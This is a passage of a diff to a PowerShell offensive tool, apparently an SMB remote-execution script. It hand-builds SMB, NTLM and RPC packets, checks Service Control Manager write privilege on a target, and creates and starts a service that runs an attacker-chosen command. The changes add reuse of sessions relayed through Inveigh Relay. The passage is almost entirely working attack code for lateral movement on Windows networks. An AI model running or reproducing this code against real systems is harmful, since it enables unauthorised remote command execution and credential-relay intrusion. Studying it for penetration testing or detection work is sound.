- $auth_hostname_bytes +
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
- 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +
- $NTLMv2_response
-
- if($SMB_version -eq 'SMB1')
- {
- $SMB_user_ID = $SMB_client_receive[32,33]
- $packet_SMB_header = Get-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID_bytes $SMB_user_ID
+ catch
+ {
+ Write-Output "[-] $($_.Exception.Message)"
+ }
- if($SMB_signing)
- {
- $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48
}
- $packet_SMB_header["SMBHeader_UserID"] = $SMB_user_ID
- $packet_NTLMSSP_negotiate = Get-PacketNTLMSSPAuth $NTLMSSP_response
- $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
- $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate
- $packet_SMB_data = Get-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate
- $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
- $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
- $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
- }
- else
- {
- $SMB2_message_ID += 1
- $packet_SMB2_header = Get-PacketSMB2Header 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID
- $packet_NTLMSSP_auth = Get-PacketNTLMSSPAuth $NTLMSSP_response
- $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
- $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth
- $packet_SMB2_data = Get-PacketSMB2SessionSetupRequest $NTLMSSP_auth
- $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
- $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
- $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
}
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-
- if($SMB_version -eq 'SMB1')
+ if($login_successful -or $inveigh_session)
{
- if([System.BitConverter]::ToString($SMB_client_receive[9..12]) -eq '00-00-00-00')
- {
- Write-Verbose "$output_username successfully authenticated on $Target"
- $login_successful = $true
- }
- else
+ if($inveigh_session)
{
- Write-Output "$output_username failed to authenticate on $Target"
- $login_successful = $false
- }
- }
- else
- {
- if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -eq '00-00-00-00')
- {
- Write-Verbose "$output_username successfully authenticated on $Target"
- $login_successful = $true
- }
- else
- {
- Write-Output "$output_username failed to authenticate on $Target"
- $login_successful = $false
- }
+ if($inveigh_session -and $inveigh.session_lock_table[$session] -eq 'locked')
+ {
+ Write-Output "[*] Pausing due to Inveigh Relay session lock"
+ Start-Sleep -s 2
+ }
- }
+ $inveigh.session_lock_table[$session] = 'locked'
+ $client = $inveigh.session_socket_table[$session]
+ $client_stream = $client.GetStream()
+ $session_ID = $inveigh.session_table[$session]
+ $message_ID = $inveigh.session_message_ID_table[$session]
+ $tree_ID = 0x00,0x00,0x00,0x00
+ $SMB_signing = $false
+ }
- if($login_successful)
- {
$SMB_path = "\\" + $Target + "\IPC$"
if($SMB_version -eq 'SMB1')
@@ -1147,7 +1367,7 @@ if($SMB_client.Connected)
$SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path)
}
- $SMB_named_pipe_UUID = 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03
+ $named_pipe_UUID = 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03
if(!$Service)
{
@@ -1204,67 +1424,74 @@ if($SMB_client.Connected)
if($SMB_version -eq 'SMB1')
{
- $SMB_client_stage = 'TreeConnectAndXRequest'
+ $stage = 'TreeConnectAndXRequest'
- :SMB_execute_loop while ($SMB_client_stage -ne 'exit')
+ while ($stage -ne 'Exit')
{
- switch ($SMB_client_stage)
+ switch ($stage)
{
- 'TreeConnectAndXRequest'
+ 'CheckAccess'
{
- $packet_SMB_header = Get-PacketSMBHeader 0x75 0x18 0x01,0x48 0xff,0xff $process_ID_bytes $SMB_user_ID
- if($SMB_signing)
+ if([System.BitConverter]::ToString($client_receive[108..111]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($client_receive[88..107]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00')
{
- $MD5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
- $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48
- $SMB_signing_counter = 2
- [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence
- }
+ $SMB_service_manager_context_handle = $client_receive[88..107]
- $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
- $packet_SMB_data = Get-PacketSMBTreeConnectAndXRequest $SMB_path_bytes
- $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
- $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
+ if($SMB_execute)
+ {
+ Write-Verbose "$output_username has Service Control Manager write privilege on $Target"
+ $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes
+ $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
- if($SMB_signing)
+ if($SCM_data.Length -lt $SMB_split_index)
+ {
+ $stage = 'CreateServiceW'
+ }
+ else
+ {
+ $stage = 'CreateServiceW_First'
+ }
+
+ }
+ else
+ {
+ Write-Output "$output_username has Service Control Manager write privilege on $Target"
+ $SMB_close_service_handle_stage = 2
+ $stage = 'CloseServiceHandle'
+ }
+
+ }
+ elseif([System.BitConverter]::ToString($client_receive[108..111]) -eq '05-00-00-00')
{
- $SMB_sign = $session_key + $SMB_header + $SMB_data
- $SMB_signature = $MD5.ComputeHash($SMB_sign)
- $SMB_signature = $SMB_signature[0..7]
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature
- $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
+ Write-Output "[-] $output_username does not have Service Control Manager write privilege on $Target"
+ $stage = 'Exit'
+ }
+ else
+ {
+ Write-Output "[-] Something went wrong with $Target"
+ $stage = 'Exit'
}
- $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'CreateAndXRequest'
}
-
- 'CreateAndXRequest'
+
+ 'CloseRequest'
{
- $SMB_named_pipe_bytes = 0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00 # \svcctl
- $SMB_tree_ID = $SMB_client_receive[28,29]
- $packet_SMB_header = Get-PacketSMBHeader 0xa2 0x18 0x02,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID
+ $packet_SMB_header = New-PacketSMBHeader 0x04 0x18 0x07,0xc8 $SMB_tree_ID $process_ID $SMB_user_ID
if($SMB_signing)
{
- $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48
+ $packet_SMB_header["Flags2"] = 0x05,0x48
$SMB_signing_counter = $SMB_signing_counter + 2
[Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence
+ $packet_SMB_header["Signature"] = $SMB_signing_sequence
}
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
- $packet_SMB_data = Get-PacketSMBNTCreateAndXRequest $SMB_named_pipe_bytes
+ $packet_SMB_data = New-PacketSMBCloseRequest 0x00,0x40
$SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
$NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
if($SMB_signing)
@@ -1272,197 +1499,125 @@ if($SMB_client.Connected)
$SMB_sign = $session_key + $SMB_header + $SMB_data
$SMB_signature = $MD5.ComputeHash($SMB_sign)
$SMB_signature = $SMB_signature[0..7]
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature
+ $packet_SMB_header["Signature"] = $SMB_signature
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
}
- $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'RPCBind'
+ $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
+ $client_stream.Write($client_send,0,$client_send.Length) > $null
+ $client_stream.Flush()
+ $client_stream.Read($client_receive,0,$client_receive.Length) > $null
+ $stage = 'TreeDisconnect'
}
-
- 'RPCBind'
+
+ 'CloseServiceHandle'
{
- $SMB_FID = $SMB_client_receive[42,43]
- $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID
- if($SMB_signing)
+ if($SMB_close_service_handle_stage -eq 1)
{
- $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48
- $SMB_signing_counter = $SMB_signing_counter + 2
- [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence
+ Write-Verbose "Service $SMB_service deleted on $Target"
+ $SMB_close_service_handle_stage++
+ $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_context_handle
}
-
- $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
- $packet_RPC_data = Get-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00
- $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
- $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length
- $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
- $RPC_data_length = $SMB_data.Length + $RPC_data.Length
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_Length
- $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
- if($SMB_signing)
+ else
{
- $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data
- $SMB_signature = $MD5.ComputeHash($SMB_sign)
- $SMB_signature = $SMB_signature[0..7]
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature
- $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
+ $stage = 'CloseRequest'
+ $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle
}
- $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'ReadAndXRequest'
- $SMB_client_stage_next = 'OpenSCManagerW'
- }
-
- 'ReadAndXRequest'
- {
- Start-Sleep -m $Sleep
- $packet_SMB_header = Get-PacketSMBHeader 0x2e 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID
+ $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID
if($SMB_signing)
{
- $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48
+ $packet_SMB_header["Flags2"] = 0x05,0x48
$SMB_signing_counter = $SMB_signing_counter + 2
[Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence
+ $packet_SMB_header["Signature"] = $SMB_signing_sequence
}
+ $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
+ $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00
+ $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
- $packet_SMB_data = Get-PacketSMBReadAndXRequest $SMB_FID
+ $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length)
$SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
+ $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
$NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
if($SMB_signing)
{
- $SMB_sign = $session_key + $SMB_header + $SMB_data
+ $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data
$SMB_signature = $MD5.ComputeHash($SMB_sign)
$SMB_signature = $SMB_signature[0..7]
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature
+ $packet_SMB_header["Signature"] = $SMB_signature
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
}
- $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = $SMB_client_stage_next
+ $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data
+ $client_stream.Write($client_send,0,$client_send.Length) > $null
+ $client_stream.Flush()
+ $client_stream.Read($client_receive,0,$client_receive.Length) > $null
}
-
- 'OpenSCManagerW'
+
+ 'CreateAndXRequest'
{
- $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID
+ $SMB_named_pipe_bytes = 0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00 # \svcctl
+ $SMB_tree_ID = $client_receive[28,29]
+ $packet_SMB_header = New-PacketSMBHeader 0xa2 0x18 0x02,0x28 $SMB_tree_ID $process_ID $SMB_user_ID
if($SMB_signing)
{
- $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48
- $SMB_signing_counter = $SMB_signing_counter + 2
+ $packet_SMB_header["Flags2"] = 0x05,0x48
+ $SMB_signing_counter = $SMB_signing_counter + 2
[Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence
+ $packet_SMB_header["Signature"] = $SMB_signing_sequence
}
- $packet_SCM_data = Get-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length
- $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
- $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00
- $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
- $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length)
- $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
- $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
+ $packet_SMB_data = New-PacketSMBNTCreateAndXRequest $SMB_named_pipe_bytes
+ $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
$NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
if($SMB_signing)
{
- $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data
+ $SMB_sign = $session_key + $SMB_header + $SMB_data
$SMB_signature = $MD5.ComputeHash($SMB_sign)
$SMB_signature = $SMB_signature[0..7]
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature
+ $packet_SMB_header["Signature"] = $SMB_signature
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
}
- $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'ReadAndXRequest'
- $SMB_client_stage_next = 'CheckAccess'
- }
-
- 'CheckAccess'
- {
-
- if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[88..107]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00')
- {
- $SMB_service_manager_context_handle = $SMB_client_receive[88..107]
-
- if($SMB_execute)
- {
- Write-Verbose "$output_username is a local administrator on $Target"
- $packet_SCM_data = Get-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes
- $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
-
- if($SCM_data.Length -lt $SMB_split_index)
- {
- $SMB_client_stage = 'CreateServiceW'
- }
- else
- {
- $SMB_client_stage = 'CreateServiceW_First'
- }
-
- }
- else
- {
- Write-Output "$output_username is a local administrator on $Target"
- $SMB_close_service_handle_stage = 2
- $SMB_client_stage = 'CloseServiceHandle'
- }
-
- }
- elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '05-00-00-00')
- {
- Write-Output "$output_username is not a local administrator or does not have required privilege on $Target"
- $SMBExec_failed = $true
- }
- else
- {
- Write-Output "Something went wrong with $Target"
- $SMBExec_failed = $true
- }
-
+ $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
+ $client_stream.Write($client_send,0,$client_send.Length) > $null
+ $client_stream.Flush()
+ $client_stream.Read($client_receive,0,$client_receive.Length) > $null
+ $stage = 'RPCBind'
}
-
+
'CreateServiceW'
{
- $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID
-
+ $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID
+
if($SMB_signing)
{
- $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48
+ $packet_SMB_header["Flags2"] = 0x05,0x48
$SMB_signing_counter = $SMB_signing_counter + 2
[Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence
+ $packet_SMB_header["Signature"] = $SMB_signing_sequence
}
- $packet_SCM_data = Get-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes
+ $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes
$SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
- $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00
+ $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00
$RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
- $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length)
+ $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length)
$SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
$RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
$NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
if($SMB_signing)
@@ -1470,41 +1625,41 @@ if($SMB_client.Connected)
$SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data
$SMB_signature = $MD5.ComputeHash($SMB_sign)
$SMB_signature = $SMB_signature[0..7]
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature
+ $packet_SMB_header["Signature"] = $SMB_signature
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
}
- $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
- $SMB_client_stage = 'ReadAndXRequest'
- $SMB_client_stage_next = 'StartServiceW'
+ $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data
+ $client_stream.Write($client_send,0,$client_send.Length) > $null
+ $client_stream.Flush()
+ $client_stream.Read($client_receive,0,$client_receive.Length) > $null
+ $stage = 'ReadAndXRequest'
+ $stage_next = 'StartServiceW'
}
'CreateServiceW_First'
{
$SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index)
- $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID
+ $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID
if($SMB_signing)
{
- $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48
+ $packet_SMB_header["Flags2"] = 0x05,0x48
$SMB_signing_counter = $SMB_signing_counter + 2
[Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence
+ $packet_SMB_header["Signature"] = $SMB_signing_sequence
}
$SCM_data_first = $SCM_data[0..($SMB_split_index - 1)]
- $packet_RPC_data = Get-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first
- $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length)
+ $packet_RPC_data = New-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first
+ $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length)
$SMB_split_index_tracker = $SMB_split_index
$RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
- $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length
+ $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length
$SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
$RPC_data_length = $SMB_data.Length + $RPC_data.Length
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
$NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
if($SMB_signing)
@@ -1512,23 +1667,23 @@ if($SMB_client.Connected)
$SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data
$SMB_signature = $MD5.ComputeHash($SMB_sign)
$SMB_signature = $SMB_signature[0..7]
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature
+ $packet_SMB_header["Signature"] = $SMB_signature
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
}
- $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
+ $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data
+ $client_stream.Write($client_send,0,$client_send.Length) > $null
+ $client_stream.Flush()
+ $client_stream.Read($client_receive,0,$client_receive.Length) > $null
if($SMB_split_stage_final -le 2)
{
- $SMB_client_stage = 'CreateServiceW_Last'
+ $stage = 'CreateServiceW_Last'
}
else
{
$SMB_split_stage = 2
- $SMB_client_stage = 'CreateServiceW_Middle'
+ $stage = 'CreateServiceW_Middle'
}
}
@@ -1536,26 +1691,26 @@ if($SMB_client.Connected)
'CreateServiceW_Middle'
{
$SMB_split_stage++
- $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID
+ $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID
if($SMB_signing)
{
- $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48
+ $packet_SMB_header["Flags2"] = 0x05,0x48
$SMB_signing_counter = $SMB_signing_counter + 2
[Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence
+ $packet_SMB_header["Signature"] = $SMB_signing_sequence
}
$SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)]
$SMB_split_index_tracker += $SMB_split_index
- $packet_RPC_data = Get-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle
- $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index)
+ $packet_RPC_data = New-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle
+ $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index)
$RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
- $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length
+ $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length
$SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
$RPC_data_length = $SMB_data.Length + $RPC_data.Length
- $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
+ $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length
$NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
if($SMB_signing)
@@ -1563,46 +1718,46 @@ if($SMB_client.Connected)
$SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data
$SMB_signature = $MD5.ComputeHash($SMB_sign)
$SMB_signature = $SMB_signature[0..7]
- $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature
+ $packet_SMB_header["Signature"] = $SMB_signature
$SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
}
- $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data
- $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
- $SMB_client_stream.Flush()
- $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
+ $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data
